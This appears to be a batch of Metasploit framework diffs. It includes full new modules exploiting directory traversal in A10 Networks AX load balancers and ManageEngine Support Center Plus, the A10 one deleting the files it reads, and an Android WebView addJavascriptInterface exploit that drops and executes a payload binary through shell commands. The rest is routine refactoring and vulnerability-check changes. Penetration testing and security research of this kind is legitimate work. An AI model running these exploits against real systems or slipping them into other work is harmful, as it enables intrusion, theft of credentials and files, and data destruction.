elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript")
begin
res_json = JSON.parse(res.body)
rescue JSON::ParserError
print_error("#{checked_host}:#{rport} - Unable to parse JSON response")
end
# store configuration files as loot
store_config(url, res_json, checked_host) if datastore['StoreConfigs']
extract_json_data(res_json)
end
end
# extract data from WebAVServlet
def extract_webavservlet_data(res_json)
# stwebav/WebAVServlet --> WebPlayer information
if res_json['Softphone']
@version_info['version']['Softphone'] = res_json['Softphone']
end
if res_json['WebPlayer']
@version_info['version']['WebPlayer'] = res_json['WebPlayer']
end
end
def extract_data(data, url)
# extract data from response
INFO_REGEXS.each do |regex|
if data =~ regex[2]
@version_info[regex[0]][regex[1]] = $1.chomp
end
end
if url.include?('buildinfo.txt') and data =~ /^(\d{8}-\d+)$/
@version_info['version']['buildinfo'] = $1.chomp
end
if data =~ /aboutBoxProductTitle":"(.*?)",/i
@version_info['version']['sametimeVersion'] = $1.chomp unless @version_info['version']['sametimeVersion']
end
end
# extract data from JSON response
def extract_json_data(json)
JSON_KEYS.each do |k|
@version_info['conf'][k] = json[k] if json[k]
end
end
def report
if @version_info['version']['sametimeVersion']
print_line
print_good("#{peer} - #{@version_info['version']['sametimeVersion']} Detected")
else
print_line
print_status("#{peer} - IBM Lotus Sametime information")
end
# configure tables
version_tbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "IBM Lotus Sametime Information [Version]",
'Prefix' => "",
'Indent' => 1,
'Columns' =>
[
"Component",
"Version"
])
conf_tbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "IBM Lotus Sametime Information [Config]",
'Prefix' => "",
'Indent' => 1,
'Columns' =>
[
"Key",
"Value"
])
api_tbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "IBM Lotus Sametime Information [API]",
'Prefix' => "",
'Indent' => 1,
'Columns' =>
[
"API",
"Version"
])
# populate tables
@version_info['version'].each do | line |
version_tbl << [ line[0], line[1] ]
end
@version_info['conf'].each do | line |
conf_tbl << [ line[0], line[1] ]
end
@version_info['api'].each do | line |
api_tbl << [ line[0], line[1] ]
end
# display tables
print_good("#{version_tbl.to_s}") if not version_tbl.to_s.empty? and datastore['ShowVersions']
print_good("#{api_tbl.to_s}") if not api_tbl.to_s.empty? and datastore['ShowAPIVersions']
print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig']
# report_note
report_note(
:host => rhost,
:port => rport,
:proto => 'http',
:ntype => 'ibm_lotus_sametime_version',
:data => @version_info['version']['sametimeVersion']
) if @version_info['version']['sametimeVersion']
end
def store_config(url, config_to_store, checked_host)
# store configuration as loot
unless config_to_store.empty?
loot = store_loot(
"ibm_lotus_sametime_configuration_" + url,
"text/json",
datastore['rhost'],
config_to_store,
".json"
)
print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot")
print_status("#{checked_host}#{normalize_uri(target_uri.path, url)}\n => #{loot}")
end
end
def target_path
normalize_uri(target_uri.path)
end
def proxy?
@version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress']
end
def use_proxy?
datastore['QuerySametimeProxy']
end
def proxy_ssl?
@version_info['conf']['meetingroomcenter.stProxySSLAddress']
end
def run
# create storage for extracted information+
@version_info = {}
@version_info['version'] = {}
@version_info['conf'] = {}
@version_info['api'] = {}
print_status("#{peer} - Checking IBM Lotus Sametime Server")
URLS.each do | url |
check_url(url)
end
if proxy? and use_proxy?
# check Sametime proxy if configured to do so
if proxy_ssl? and ssl
# keep using SSL
proxy = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host
else
proxy = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host
end
print_good("#{peer} - Sametime Proxy address discovered #{proxy}")
PROXY_URLS.each do | url |
check_url(url, proxy)
end
elsif proxy?
print_status("#{peer} - Sametime Proxy address discovered, but checks disabled")
end
report unless @version_info.empty?
end
end

View File

@ -128,21 +128,21 @@ class Metasploit3 < Msf::Auxiliary
end
def check
node_id = get_node
unless node_id.nil?
return Msf::Exploit::CheckCode::Vulnerable
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "index.php")
})
if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
return Msf::Exploit::CheckCode::Detected
if get_node
# Multiple factors determine this LOOKS vulnerable
return Msf::Exploit::CheckCode::Appears
else
# Not enough information about the vuln state, but at least we know this is vbulletin
return Msf::Exploit::CheckCode::Detected
end
end
return Msf::Exploit::CheckCode::Unknown
Msf::Exploit::CheckCode::Safe
end
def run

View File

@ -51,7 +51,17 @@ class Metasploit3 < Msf::Auxiliary
conf_guid = Rex::Text.rand_text(16)
call_guid = Rex::Text.rand_text(16)
pkt_setup = h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
pkt_setup = h323_setup_call({
:caller_name => caller_name,
:h323_id => h323_id,
:vendor_id => vendor_id,
:callee_host => callee_host,
:callee_port => callee_port,
:caller_host => caller_host,
:caller_port => caller_port,
:conf_guid => conf_guid,
:call_guid => call_guid
})
res = sock.put(pkt_setup) rescue nil
if not res
@ -88,7 +98,10 @@ class Metasploit3 < Msf::Auxiliary
end
# Make sure the call was shut down cleanly
pkt_release = h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
pkt_release = h323_release_call({
:caller_name => caller_name,
:call_guid => call_guid
})
sock.put(pkt_release) rescue nil
# End timeout block
@ -352,7 +365,16 @@ class Metasploit3 < Msf::Auxiliary
#
# This is ugly. Doing it properly requires a PER capable ASN.1 encoder, which is overkill for this task
#
def create_user_info(h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
def create_user_info(opts = {})
h323_id = opts[:h323_id]
vendor_id = opts[:vendor_id]
callee_host = opts[:callee_host]
callee_port = opts[:callee_port]
caller_host = opts[:caller_host]
caller_port = opts[:caller_port]
conf_guid = opts[:conf_guid]
call_guid = opts[:call_guid]
buff = "\x05" # Protocol descriminator: X.208/X.209 coded user information
buff << "\x20\xa8\x06\x00\x08\x91\x4a\x00\x06\x01\x40\x02"
@ -539,7 +561,10 @@ class Metasploit3 < Msf::Auxiliary
"\x02\x80\x01\x00"
end
def h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
def h323_release_call(opts = {})
caller_name = opts[:caller_name]
call_guid = opts[:call_guid]
encap_tpkt(3,
encap_q225_release(
create_ie_display(caller_name) +
@ -550,13 +575,32 @@ class Metasploit3 < Msf::Auxiliary
)
end
def h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
def h323_setup_call(opts = {})
caller_name = opts[:caller_name]
h323_id = opts[:h323_id]
vendor_id = opts[:vendor_id]
callee_host = opts[:callee_host]
callee_port = opts[:callee_port]
caller_host = opts[:caller_host]
caller_port = opts[:caller_port]
conf_guid = opts[:conf_guid]
call_guid = opts[:call_guid]
encap_tpkt(3,
encap_q225_setup(
create_ie_bearer_capability() +
create_ie_display(caller_name) +
create_ie_user_user(
create_user_info( h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid )
create_user_info({
:h323_id => h323_id,
:vendor_id => vendor_id,
:callee_host => callee_host,
:callee_port => callee_port,
:caller_host => caller_host,
:caller_port => caller_port,
:conf_guid => conf_guid,
:call_guid => call_guid
})
)
)
)

View File

@ -0,0 +1,99 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'A10 Networks AX Loadbalancer Directory Traversal',
'Description' => %q{
This module exploits a directory traversal flaw found in A10 Networks
(Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When
handling a file download request, the xml/downloads class fails to
properly check the 'filename' parameter, which can be abused to read
any file outside the virtual directory. Important files include SSL
certificates. This module works on both the hardware devices and the
Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the
file on the device after downloading it. Because of this, the CONFIRM_DELETE
option must be set to 'true' either manually or by script.
},
'References' =>
[
['OSVDB', '102657'],
['BID', '65206'],
['EDB', '31261']
],
'Author' =>
[
'xistence' #Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Jan 28 2014"
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]),
OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]),
], self.class)
end
def run
unless datastore['CONFIRM_DELETE']
print_error("This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.")
return
end
super
end
def run_host(ip)
peer = "#{ip}:#{rport}"
fname = datastore['FILE']
print_status("#{peer} - Reading '#{datastore['FILE']}'")
traverse = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "xml", "downloads", ""),
'vars_get' =>
{
'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}"
}
})
if res and res.code == 500 and res.body =~ /Error report/
vprint_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
vprint_error("\t1. File does not exist.")
vprint_error("\t2. The server does not have any patches deployed.")
vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
vprint_error("\t4. Some kind of permission issues.")
elsif res and res.code == 200
data = res.body
p = store_loot(
'a10networks.ax',
'application/octet-stream',
ip,
data,
fname
)
vprint_line(data)
print_good("#{peer} - #{fname} stored as '#{p}'")
elsif res and res.code == 404 and res.body.to_s =~ /The requested URL.*was not found/
vprint_error("#{peer} - File not found. Check FILE.")
else
vprint_error("#{peer} - Fail to obtain file for some unknown reason")
end
end
end

View File

@ -0,0 +1,160 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Support Center Plus Directory Traversal",
'Description' => %q{
This module exploits a directory traversal vulnerability found in ManageEngine
Support Center Plus build 7916 and lower. The module will create a support ticket
as a normal user, attaching a link to a file on the server. By requesting our
own attachment, it's possible to retrieve any file on the filesystem with the same
privileges as Support Center Plus is running. On Windows this is always with SYSTEM
privileges.
},
'License' => MSF_LICENSE,
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
'References' =>
[
['EDB', '31262'],
['OSVDB', '102656'],
['BID', '65199'],
['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html']
],
'DisclosureDate' => "Jan 28 2014"
))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),
OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),
OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),
OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])
], self.class)
end
def run_host(ip)
uri = target_uri.path
peer = "#{ip}:#{rport}"
vprint_status("#{peer} - Retrieving cookie")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "")
})
if res and res.code == 200
session = res.get_cookies
else
vprint_error("#{peer} - Server returned #{res.code.to_s}")
end
vprint_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "j_security_check"),
'cookie' => session,
'vars_post' =>
{
'j_username' => datastore['USER'],
'j_password' => datastore['PASS'],
'logonDomainName' => 'undefined',
'sso_status' => 'false',
'loginButton' => 'Login'
}
})
if res and res.code == 302
vprint_status("#{peer} - Login succesful")
else
vprint_error("#{peer} - Login was not succesful!")
return
end
randomname = Rex::Text.rand_text_alphanumeric(10)
vprint_status("#{peer} - Creating ticket with our requested file [ #{datastore['FILE']} ] as attachment")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "WorkOrder.do"),
'cookie' => session,
'vars_post' =>
{
'reqTemplate' => '',
'prodId' => '0',
'priority' => '2',
'reqID' => '2',
'usertypename' => 'Requester',
'reqName' => 'Guest',
'category' => '0',
'item' => '0',
'subCategory' => '0',
'title' => randomname,
'description' => randomname,
'MOD_IND' => 'WorkOrder',
'FORMNAME' => 'WorkOrderForm',
'attach' => "/../../../../../../../../../../../..#{datastore['FILE']}",
'attPath' => '',
'component' => 'Request',
'attSize' => Rex::Text.rand_text_numeric(8),
'attachments' => randomname,
'autoCCList' => '',
'addWO' => 'addWO'
}
})
if res and res.code == 200
vprint_status("#{peer} - Ticket created")
if (res.body =~ /FileDownload.jsp\?module=Request\&ID=(\d+)\&authKey=(.*)\" class=/)
fileid = $1
vprint_status("#{peer} - File ID is [ #{fileid} ]")
fileauthkey = $2
vprint_status("#{peer} - Auth Key is [ #{fileauthkey} ]")
else
vprint_error("#{peer} - File ID and AuthKey not found!")
end
else
vprint_error("#{peer} - Ticket not created due to error!")
return
end
vprint_status("#{peer} - Requesting file [ #{uri}workorder/FileDownload.jsp?module=Request&ID=#{fileid}&authKey=#{fileauthkey} ]")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "workorder", "FileDownload.jsp"),
'vars_get' =>
{
'module' => 'Request',
'ID' => fileid,
'authKey' => fileauthkey
}
})
# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code == 200
data = res.body
p = store_loot(
'manageengine.supportcenterplus',
'application/octet-stream',
ip,
data,
datastore['FILE']
)
print_good("#{peer} - [ #{datastore['FILE']} ] loot stored as [ #{p} ]")
else
vprint_error("#{peer} - Server returned #{res.code.to_s}")
end
end
end

View File

@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]

View File

@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]

View File

@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]

View File

@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]

View File

@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
a set of printers using the Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]

View File

@ -20,10 +20,11 @@ class Metasploit4 < Msf::Auxiliary
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"wvu", # Rex::Proto::PJL and modules
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
"MC", # Independent mixin and modules
"Myo Soe", # Independent modules
"Matteo Cantoni <goony[at]nothink.org>" # Independent modules
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]

View File

@ -4,6 +4,7 @@
##
require "msf/core"
require 'msf/core/module/deprecated'
class Metasploit4 < Msf::Auxiliary
@ -11,6 +12,8 @@ class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::SMB
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Module::Deprecated
deprecated Date.new(2014, 2, 26), "exploit/windows/smb/ms08_067_netapi"
def initialize(info = {})
super(update_info(info,

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
def run_host(ip)
return unless check
return unless is_vmware?
each_user_pass { |user, pass|
result = vim_do_login(user, pass)
case result
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
# Mostly taken from the Apache Tomcat service validator
def check
def is_vmware?
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>

View File

@ -58,7 +58,6 @@ class Metasploit3 < Msf::Auxiliary
def auxiliary_commands
return {
"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
"racer" => "Determine the size of the window for the target server"
}
end
@ -75,14 +74,9 @@ class Metasploit3 < Msf::Auxiliary
calculate_race(targ, dom)
end
def cmd_check(*args)
targ = args[0] || rhost()
if !(targ and targ.length > 0)
print_status("usage: check [dns-server]")
return
end
def check
targ = rhost
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
@ -111,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
@ -132,24 +126,29 @@ class Metasploit3 < Msf::Auxiliary
srv_sock.close
if(ports.keys.length == 0)
print_error("ERROR: This server is not replying to recursive requests")
return
vprint_error("ERROR: This server is not replying to recursive requests")
return Exploit::CheckCode::Unknown
end
if(reps < 30)
print_warning("WARNING: This server did not reply to all of our requests")
vprint_warning("WARNING: This server did not reply to all of our requests")
end
if(random)
ports_u = ports.keys.length
ports_r = ((ports.keys.length/30.0)*100).to_i
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if(ports_r != 100)
print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
else
print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def run

View File

@ -56,8 +56,7 @@ class Metasploit3 < Msf::Auxiliary
def auxiliary_commands
return {
"check" => "Determine if the specified DNS server (RHOST) is vulnerable",
"racer" => "Determine the size of the window for the target server",
"racer" => "Determine the size of the window for the target server"
}
end
@ -73,14 +72,9 @@ class Metasploit3 < Msf::Auxiliary
calculate_race(targ, dom)
end
def cmd_check(*args)
targ = args[0] || rhost()
if !(targ and targ.length > 0)
print_status("usage: check [dns-server]")
return
end
def check
targ = rhost
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
@ -109,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
@ -130,12 +124,12 @@ class Metasploit3 < Msf::Auxiliary
srv_sock.close
if(ports.keys.length == 0)
print_error("ERROR: This server is not replying to recursive requests")
return
vprint_error("ERROR: This server is not replying to recursive requests")
return Exploit::CheckCode::Unknown
end
if(reps < 30)
print_warning("WARNING: This server did not reply to all of our requests")
vprint_warning("WARNING: This server did not reply to all of our requests")
end
if(random)
@ -143,11 +137,16 @@ class Metasploit3 < Msf::Auxiliary
ports_r = ((ports.keys.length/30.0)*100).to_i
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
if(ports_r != 100)
print_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
return Exploit::CheckCode::Appears
end
else
print_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def run

View File

@ -20,7 +20,8 @@ class Metasploit3 < Msf::Encoder
tricks to avoid commonly restricted characters.
},
'Author' => 'hdm',
'Arch' => ARCH_CMD)
'Arch' => ARCH_CMD,
'Platform' => 'unix')
end

View File

@ -21,7 +21,8 @@ class Metasploit3 < Msf::Encoder
to avoid spaces without being overly fancy.
},
'Author' => 'egypt',
'Arch' => ARCH_CMD)
'Arch' => ARCH_CMD,
'Platform' => 'unix')
end

View File

@ -30,6 +30,7 @@ class Metasploit3 < Msf::Encoder
},
'Author' => 'jduck',
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes)
end

View File

@ -0,0 +1,121 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_flavor => "Android",
:arch => ARCH_ARMLE,
:javascript => true,
:rank => ExcellentRanking,
:vuln_test => %Q|
for (i in top) {
try {
top[i].getClass().forName('java.lang.Runtime');
is_vuln = true; break;
} catch(e) {}
}
|
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
'Description' => %q{
This module exploits a privilege escalation issue in Android < 4.2's WebView component
that arises when untrusted Javascript code is executed by a WebView that has one or more
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
APIs exposed by the Interface and execute arbitrary commands.
Some distributions of the Android Browser app have an addJavascriptInterface
call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
4.1.2 release of Android is known to be vulnerable.
A secondary attack vector involves the WebViews embedded inside a large number
of Android applications. Ad integrations are perhaps the worst offender here.
If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
into the page displayed in the WebView, then you can inject the html/js served
by this module and get a shell.
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
},
'License' => MSF_LICENSE,
'Author' => [
'jduck', # original msf module
'joev' # static server
],
'References' => [
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
'addjavascriptinterface-code-execution-vulnerability/'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
['URL', 'http://50.56.33.56/blog/?p=314'],
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
'addjavascriptinterface-remote-code-execution/']
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'DefaultOptions' => { 'PrependFork' => true },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Dec 21 2012',
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:os_flavor => "Android",
:arch => ARCH_ARMLE
}
))
end
def on_request_uri(cli, req)
if req.uri.end_with?('js')
print_status("Serving javascript")
send_response(cli, js, 'Content-type' => 'text/javascript')
else
super
end
end
def on_request_exploit(cli, req, browser)
print_status("Serving exploit HTML")
send_response_html(cli, html)
end
def js
%Q|
function exec(obj) {
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
// get the runtime so we can exec
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";
// get the process name, which will give us our data path
var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
path += '/#{Rex::Text.rand_text_alpha(8)}';
// build the binary, chmod it, and execute it
m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
m.invoke(null, null).exec([path]);
return true;
}
for (i in top) { if (exec(top[i]) === true) break; }
|
end
def html
"<!doctype html><html><body><script>#{js}</script></body></html>"
end
end

View File

@ -106,15 +106,15 @@ class Metasploit3 < Msf::Exploit::Remote
if rel.length > 0
if rel[0,2] == 'rc'
if rel[2,rel.length].to_i >= 3
status = CheckCode::Vulnerable
status = CheckCode::Appears
end
else
status = CheckCode::Vulnerable
status = CheckCode::Appears
end
end
when '3'
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
status = CheckCode::Vulnerable
status = CheckCode::Appears
if rel.length > 0
if rel[0,2] != 'rc' and rel[0,1] > 'b'
status = CheckCode::Safe

View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
disconnect
if (resp =~ /IRIX/)
print_status("Response: #{resp.strip}")
vprint_status("Response: #{resp.strip}")
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe

View File

@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
ret = connect
# We just want the banner to check against our targets..
print_status("FTP Banner: #{banner.strip}")
vprint_status("FTP Banner: #{banner.strip}")
status = CheckCode::Safe
@ -129,16 +129,16 @@ class Metasploit3 < Msf::Exploit::Remote
relv = rel.slice!(0,1)
case relv
when '2'
status = CheckCode::Vulnerable
status = CheckCode::Appears
when '3'
# 1.3.x before 1.3.1 is vulnerable
status = CheckCode::Vulnerable
status = CheckCode::Appears
if rel.length > 0
if rel.to_i > 0
status = CheckCode::Safe
else
status = CheckCode::Vulnerable
status = CheckCode::Appears
end
end
end

View File

@ -274,7 +274,7 @@ class Metasploit3 < Msf::Exploit::Remote
banner = sock.get_once || ''
# We just want the banner to check against our targets..
print_status("FTP Banner: #{banner.strip}")
vprint_status("FTP Banner: #{banner.strip}")
status = CheckCode::Safe
if banner =~ /ProFTPD (1\.3\.[23][^ ])/i
@ -286,15 +286,15 @@ class Metasploit3 < Msf::Exploit::Remote
if rel.length > 0
if rel[0,2] == 'rc'
if rel[2,rel.length].to_i >= 3
status = CheckCode::Vulnerable
status = CheckCode::Appears
end
else
status = CheckCode::Vulnerable
status = CheckCode::Appears
end
end
when '3'
# 1.3.3+ defaults to vulnerable (until >= 1.3.3c)
status = CheckCode::Vulnerable
status = CheckCode::Appears
if rel.length > 0
if rel[0,2] != 'rc' and rel[0,1] > 'b'
status = CheckCode::Safe

View File

@ -92,23 +92,23 @@ class Metasploit3 < Msf::Exploit::Remote
vers = ut_version
if (not vers)
print_status("Could not detect Unreal Tournament Server")
return
vprint_status("Could not detect Unreal Tournament Server")
return Exploit::CheckCode::Unknown
end
print_status("Detected Unreal Tournament Server Version: #{vers}")
if (vers =~ /^(3120|3186|3204)$/)
print_status("This system appears to be exploitable")
vprint_status("This system appears to be exploitable")
return Exploit::CheckCode::Appears
end
if (vers =~ /^(2...)$/)
print_status("This system appears to be running UT2003")
vprint_status("This system appears to be running UT2003")
return Exploit::CheckCode::Detected
end
print_status("This system appears to be patched")
vprint_status("This system appears to be patched")
return Exploit::CheckCode::Safe
end

View File

@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
# Check version
print_status("#{peer} - Trying to detect Astium")
vprint_status("#{peer} - Trying to detect Astium")
res = send_request_cgi({
'method' => 'GET',

View File

@ -81,7 +81,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
res = send_request_cgi({ 'uri' => '/comm.asp' })
if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
return Exploit::CheckCode::Detected
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end

View File

